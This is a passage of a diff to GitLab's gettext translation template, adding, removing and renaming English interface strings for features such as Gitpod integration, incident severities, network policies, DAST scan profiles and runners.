-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11443,10 +11776,13 @@ msgstr ""
msgid "GitHub import"
msgstr ""
+msgid "GitLab"
+msgstr ""
+
msgid "GitLab / Unsubscribe"
msgstr ""
-msgid "GitLab Enterprise Edition %{plan}"
+msgid "GitLab API"
msgstr ""
msgid "GitLab Group Runners can execute code for all the projects in this group."
@@ -11458,12 +11794,18 @@ msgstr ""
msgid "GitLab Issue"
msgstr ""
+msgid "GitLab Pages"
+msgstr ""
+
msgid "GitLab Service Desk is a simple way to allow people to create issues in your GitLab instance without needing their own user account. It provides a unique email address for end users to create issues in a project, and replies can be sent either through the GitLab interface or by email. End users will only see the thread through email."
msgstr ""
msgid "GitLab Shared Runners execute code of different projects on the same Runner unless you configure GitLab Runner Autoscale with MaxBuilds 1 (which it is on GitLab.com)."
msgstr ""
+msgid "GitLab Shell"
+msgstr ""
+
msgid "GitLab Support Bot"
msgstr ""
@@ -11473,7 +11815,7 @@ msgstr ""
msgid "GitLab User"
msgstr ""
-msgid "GitLab allows you to continue using your license even if you exceed the number of seats you purchased. You will be required to pay for these seats when you renew your license."
+msgid "GitLab Workhorse"
msgstr ""
msgid "GitLab commit"
@@ -11641,6 +11983,21 @@ msgstr ""
msgid "Gitlab Pages"
msgstr ""
+msgid "Gitpod"
+msgstr ""
+
+msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
+msgstr ""
+
+msgid "Gitpod|Enable Gitpod integration"
+msgstr ""
+
+msgid "Gitpod|Gitpod URL"
+msgstr ""
+
+msgid "Gitpod|e.g. https://gitpod.example.com"
+msgstr ""
+
msgid "Given access %{time_ago}"
msgstr ""
@@ -11677,6 +12034,9 @@ msgstr ""
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
+msgid "Go to Integrations"
+msgstr ""
+
msgid "Go to Webhooks"
msgstr ""
@@ -11956,6 +12316,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12358,10 +12721,10 @@ msgstr ""
msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|GitLab group export"
+msgid "GroupsNew|Import"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Import a GitLab group export file"
msgstr ""
msgid "GroupsNew|Import group"
@@ -12445,6 +12808,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12460,6 +12826,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12542,6 +12911,15 @@ msgstr ""
msgid "Highest role:"
msgstr ""
+msgid "HighlightBar|Alert events:"
+msgstr ""
+
+msgid "HighlightBar|Alert start time:"
+msgstr ""
+
+msgid "HighlightBar|Original alert:"
+msgstr ""
+
msgid "History"
msgstr ""
@@ -12590,6 +12968,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12746,10 +13127,13 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
-msgid "If your HTTP repository is not publicly accessible, add your credentials."
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
msgstr ""
-msgid "Iglu registry URL (optional)"
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
+msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
msgid "Ignore"
@@ -12788,6 +13172,16 @@ msgstr ""
msgid "Import"
msgstr ""
+msgid "Import %d compatible repository"
+msgid_plural "Import %d compatible repositories"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Import %d repository"
+msgid_plural "Import %d repositories"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Import CSV"
msgstr ""
@@ -12797,15 +13191,9 @@ msgstr ""
msgid "Import all compatible projects"
msgstr ""
-msgid "Import all compatible repositories"
-msgstr ""
-
msgid "Import all projects"
msgstr ""
-msgid "Import all repositories"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -12893,6 +13281,9 @@ msgstr ""
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
+msgid "ImportProjects|Import repositories"
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -12905,7 +13296,7 @@ msgstr ""
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
-msgid "ImportProjects|Select the projects you want to import"
+msgid "ImportProjects|Select the repositories you want to import"
msgstr ""
msgid "ImportProjects|The remote data could not be imported."
@@ -12917,6 +13308,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12929,30 +13323,27 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
-msgstr ""
-
-msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
@@ -12971,18 +13362,30 @@ msgstr ""
msgid "IncidentManagement|Create incident"
msgstr ""
+msgid "IncidentManagement|Critical - S1"
+msgstr ""
+
msgid "IncidentManagement|Date created"
msgstr ""
msgid "IncidentManagement|Display your incidents in a dedicated view"
msgstr ""
+msgid "IncidentManagement|High - S2"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
msgid "IncidentManagement|Incidents"
msgstr ""
+msgid "IncidentManagement|Low - S4"
+msgstr ""
+
+msgid "IncidentManagement|Medium - S3"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -12995,12 +13398,21 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|Severity"
+msgstr ""
+
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
msgid "IncidentManagement|Unassigned"
msgstr ""
+msgid "IncidentManagement|Unknown"
+msgstr ""
+
msgid "IncidentManagement|Unpublished"
msgstr ""
@@ -13022,6 +13434,15 @@ msgstr ""
msgid "Incidents"
msgstr ""
+msgid "Incident|Alert details"
+msgstr ""
+
+msgid "Incident|Summary"
+msgstr ""
+
+msgid "Incident|There was an issue loading alert data. Please try again."
+msgstr ""
+
msgid "Include a Terms of Service agreement and Privacy Policy that all users must accept."
msgstr ""
@@ -13156,15 +13577,12 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance license"
-msgstr ""
-
msgid "Integration"
msgstr ""
@@ -13174,6 +13592,12 @@ msgstr ""
msgid "Integrations"
msgstr ""
+msgid "Integrations|%{integration} settings saved and active."
+msgstr ""
+
+msgid "Integrations|%{integration} settings saved, but not active."
+msgstr ""
+
msgid "Integrations|All details"
msgstr ""
@@ -13183,6 +13607,15 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Connection failed. Please check your settings."
+msgstr ""
+
+msgid "Integrations|Connection successful."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
@@ -13231,7 +13664,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13249,6 +13682,9 @@ msgstr ""
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13345,6 +13781,36 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
msgid "Invited"
msgstr ""
@@ -13402,7 +13868,7 @@ msgstr ""
msgid "Issue events"
msgstr ""
-msgid "Issue first depoloyed to production"
+msgid "Issue first deployed to production"
msgstr ""
msgid "Issue label"
@@ -13480,6 +13946,9 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|EWM work items tracker"
+msgstr ""
+
msgid "IssueTracker|Redmine issue tracker"
msgstr ""
@@ -13546,6 +14015,9 @@ msgstr ""
msgid "It looks like you have some draft commits in this branch."
msgstr ""
+msgid "It may be several days before you see feature usage data."
+msgstr ""
+
msgid "It must have a header row and at least two columns: the first column is the issue title and the second column is the issue description. The separator is automatically detected."
msgstr ""
@@ -13828,6 +14300,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Joined %{time_ago}"
+msgstr ""
+
msgid "Jul"
msgstr ""
@@ -13870,6 +14345,9 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Ctrl+"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -14010,6 +14488,18 @@ msgstr[1] ""
msgid "Last %{days} days"
msgstr ""
+msgid "Last 2 weeks"
+msgstr ""
+
+msgid "Last 30 days"
+msgstr ""
+
+msgid "Last 60 days"
+msgstr ""
+
+msgid "Last 90 days"
+msgstr ""
+
msgid "Last Accessed On"
msgstr ""
@@ -14085,6 +14575,9 @@ msgstr ""
msgid "Last used on:"
msgstr ""
+msgid "Last week"
+msgstr ""
+
msgid "LastCommit|authored"
msgstr ""
@@ -14100,6 +14593,9 @@ msgstr ""
msgid "Latest pipeline for the most recent commit on this branch"
msgstr ""
+msgid "Launch a ready-to-code development environment for your project."
+msgstr ""
+
msgid "Lead"
msgstr ""
@@ -14214,6 +14710,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License overview"
+msgstr ""
+
msgid "License-Check"
msgstr ""
@@ -14340,6 +14839,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14403,9 +14905,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14421,9 +14920,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14606,6 +15102,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14708,9 +15210,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14759,6 +15258,24 @@ msgstr ""
msgid "Markdown is supported"
msgstr ""
+msgid "MarkdownEditor|Add a link (%{modifierKey}K)"
+msgstr ""
+
+msgid "MarkdownEditor|Add a link (%{modifier_key}K)"
+msgstr ""
+
+msgid "MarkdownEditor|Add bold text (%{modifierKey}B)"
+msgstr ""
+
+msgid "MarkdownEditor|Add bold text (%{modifier_key}B)"
+msgstr ""
+
+msgid "MarkdownEditor|Add italic text (%{modifierKey}I)"
+msgstr ""
+
+msgid "MarkdownEditor|Add italic text (%{modifier_key}I)"
+msgstr ""
+
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
@@ -14843,7 +15360,22 @@ msgstr ""
msgid "Max access level"
msgstr ""
-msgid "Max seats used"
+msgid "Max size 15 MB"
+msgstr ""
+
+msgid "Maximum Conan package file size in bytes"
+msgstr ""
+
+msgid "Maximum Maven package file size in bytes"
+msgstr ""
+
+msgid "Maximum NPM package file size in bytes"
+msgstr ""
+
+msgid "Maximum NuGet package file size in bytes"
+msgstr ""
+
+msgid "Maximum PyPI package file size in bytes"
msgstr ""
msgid "Maximum Users:"
@@ -15224,6 +15756,9 @@ msgstr ""
msgid "Merging immediately isn't recommended as it may negatively impact the existing merge train. Read the %{docsLinkStart}documentation%{docsLinkEnd} for more information."
msgstr ""
+msgid "Message"
+msgstr ""
+
msgid "Messages"
msgstr ""
@@ -15981,6 +16516,9 @@ msgstr ""
msgid "Namespace"
msgstr ""
+msgid "Namespace ID:"
+msgstr ""
+
msgid "Namespace is empty"
msgstr ""
@@ -16026,12 +16564,48 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -16041,9 +16615,21 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Delete policy"
+msgstr ""
+
+msgid "NetworkPolicies|Delete policy: %{policy}"
+msgstr ""
+
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
+msgid "NetworkPolicies|Edit policy"
+msgstr ""
+
msgid "NetworkPolicies|Editor mode"
msgstr ""
@@ -16053,6 +16639,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -16071,12 +16660,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16101,12 +16696,21 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
+msgid "NetworkPolicies|Save changes"
+msgstr ""
+
msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
@@ -16116,9 +16720,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16187,6 +16836,9 @@ msgstr ""
msgid "New Snippet"
msgstr ""
+msgid "New Test Case"
+msgstr ""
+
msgid "New User"
msgstr ""
@@ -16286,6 +16938,9 @@ msgstr ""
msgid "New tag"
msgstr ""
+msgid "New test case"
+msgstr ""
+
msgid "New users set to external"
msgstr ""
@@ -16358,7 +17013,7 @@ msgstr ""
msgid "No changes"
msgstr ""
-msgid "No changes between %{ref_start}%{source_branch}%{ref_end} and %{ref_start}%{target_branch}%{ref_end}"
+msgid "No changes between %{sourceBranch} and %{targetBranch}"
msgstr ""
msgid "No child epics match applied filters"
@@ -16373,6 +17028,9 @@ msgstr ""
msgid "No containers available"
msgstr ""
+msgid "No content to show"
+msgstr ""
+
msgid "No contributions"
msgstr ""
@@ -16448,9 +17106,6 @@ msgstr ""
msgid "No license. All rights reserved"
msgstr ""
-msgid "No licenses found."
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -16484,6 +17139,9 @@ msgstr ""
msgid "No parent group"
msgstr ""
+msgid "No plan"
+msgstr ""
+
msgid "No pods available"
msgstr ""
@@ -16844,13 +17502,16 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new scanner profile"
msgstr ""
msgid "OnDemandScans|Create a new site profile"
@@ -16859,15 +17520,15 @@ msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed scanner profile."
+msgstr ""
+
msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
msgstr ""
@@ -16883,18 +17544,9 @@ msgstr ""
msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
-msgstr ""
-
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
-msgstr ""
-
msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
-msgstr ""
-
msgid "OnDemandScans|Scan mode"
msgstr ""
@@ -16910,13 +17562,13 @@ msgstr ""
msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16975,9 +17627,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16996,6 +17645,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -17011,6 +17663,9 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
@@ -17131,13 +17786,13 @@ msgstr ""
msgid "Other visibility settings have been disabled by the administrator."
msgstr ""
-msgid "Out-of-compliance with this project's policies and should be removed"
+msgid "Our documentation includes an example DevOps Score report."
msgstr ""
-msgid "Outbound requests"
+msgid "Out-of-compliance with this project's policies and should be removed"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
+msgid "Outbound requests"
msgstr ""
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
@@ -17146,9 +17801,6 @@ msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17182,6 +17834,9 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
+msgid "Package file size limits"
+msgstr ""
+
msgid "Package recipe already exists"
msgstr ""
@@ -17446,6 +18101,9 @@ msgstr ""
msgid "Page not found"
msgstr ""
+msgid "Page settings"
+msgstr ""
+
msgid "Page was successfully deleted"
msgstr ""
@@ -18064,6 +18722,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18130,9 +18791,6 @@ msgstr ""
msgid "Please refer to %{docs_url}"
msgstr ""
-msgid "Please retype the email address."
-msgstr ""
-
msgid "Please select"
msgstr ""
@@ -18463,6 +19121,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|%{provider} Active"
+msgstr ""
+
msgid "Profiles|@username"
msgstr ""
@@ -18514,7 +19175,7 @@ msgstr ""
msgid "Profiles|Commit email"
msgstr ""
-msgid "Profiles|Connect"
+msgid "Profiles|Connect %{provider}"
msgstr ""
msgid "Profiles|Connected Accounts"
@@ -18529,21 +19190,18 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
msgid "Profiles|Disconnect"
msgstr ""
+msgid "Profiles|Disconnect %{provider}"
+msgstr ""
+
msgid "Profiles|Do not show on profile"
msgstr ""
@@ -18928,6 +19586,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -19684,6 +20345,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -20041,9 +20705,15 @@ msgstr ""
msgid "Quick range"
msgstr ""
+msgid "Quickly and easily edit multiple files in your project."
+msgstr ""
+
msgid "README"
msgstr ""
+msgid "Rails"
+msgstr ""
+
msgid "Rake Tasks Help"
msgstr ""
@@ -20163,10 +20833,13 @@ msgstr ""
msgid "Register Two-Factor Authenticator"
msgstr ""
-msgid "Register U2F device"
+msgid "Register Universal Two-Factor (U2F) Device"
msgstr ""
-msgid "Register Universal Two-Factor (U2F) Device"
+msgid "Register WebAuthn Device"
+msgstr ""
+
+msgid "Register device"
msgstr ""
msgid "Register for GitLab"
@@ -20178,9 +20851,6 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
-msgid "Registration"
-msgstr ""
-
msgid "Registration|Checkout"
msgstr ""
@@ -20405,6 +21075,9 @@ msgstr ""
msgid "Remove priority"
msgstr ""
+msgid "Remove report"
+msgstr ""
+
msgid "Remove secondary node"
msgstr ""
@@ -20417,6 +21090,12 @@ msgstr ""
msgid "Remove time estimate"
msgstr ""
+msgid "Remove user & report"
+msgstr ""
+
+msgid "Remove user from group"
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -20498,9 +21177,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing license…"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20585,6 +21261,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by %{reporter}"
+msgstr ""
+
msgid "Reporting"
msgstr ""
@@ -20671,6 +21350,24 @@ msgstr ""
msgid "Repositories"
msgstr ""
+msgid "Repositories Analytics"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Download Historic Test Coverage Data"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Download historic test coverage data (.csv)"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Download test coverage data (.csv)"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Historic Test Coverage Data is available in raw format (.csv) for further analysis."
+msgstr ""
+
+msgid "RepositoriesAnalytics|Test Code Coverage"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -21058,6 +21755,12 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Ruby"
+msgstr ""
+
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -21070,6 +21773,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21130,6 +21836,63 @@ msgstr ""
msgid "Runners page."
msgstr ""
+msgid "Runners|Active"
+msgstr ""
+
+msgid "Runners|Architecture"
+msgstr ""
+
+msgid "Runners|Can run untagged jobs"
+msgstr ""
+
+msgid "Runners|Description"
+msgstr ""
+
+msgid "Runners|Group"
+msgstr ""
+
+msgid "Runners|IP Address"
+msgstr ""
+
+msgid "Runners|Last contact"
+msgstr ""
+
+msgid "Runners|Locked to this project"
+msgstr ""
+
+msgid "Runners|Maximum job timeout"
+msgstr ""
+
+msgid "Runners|Name"
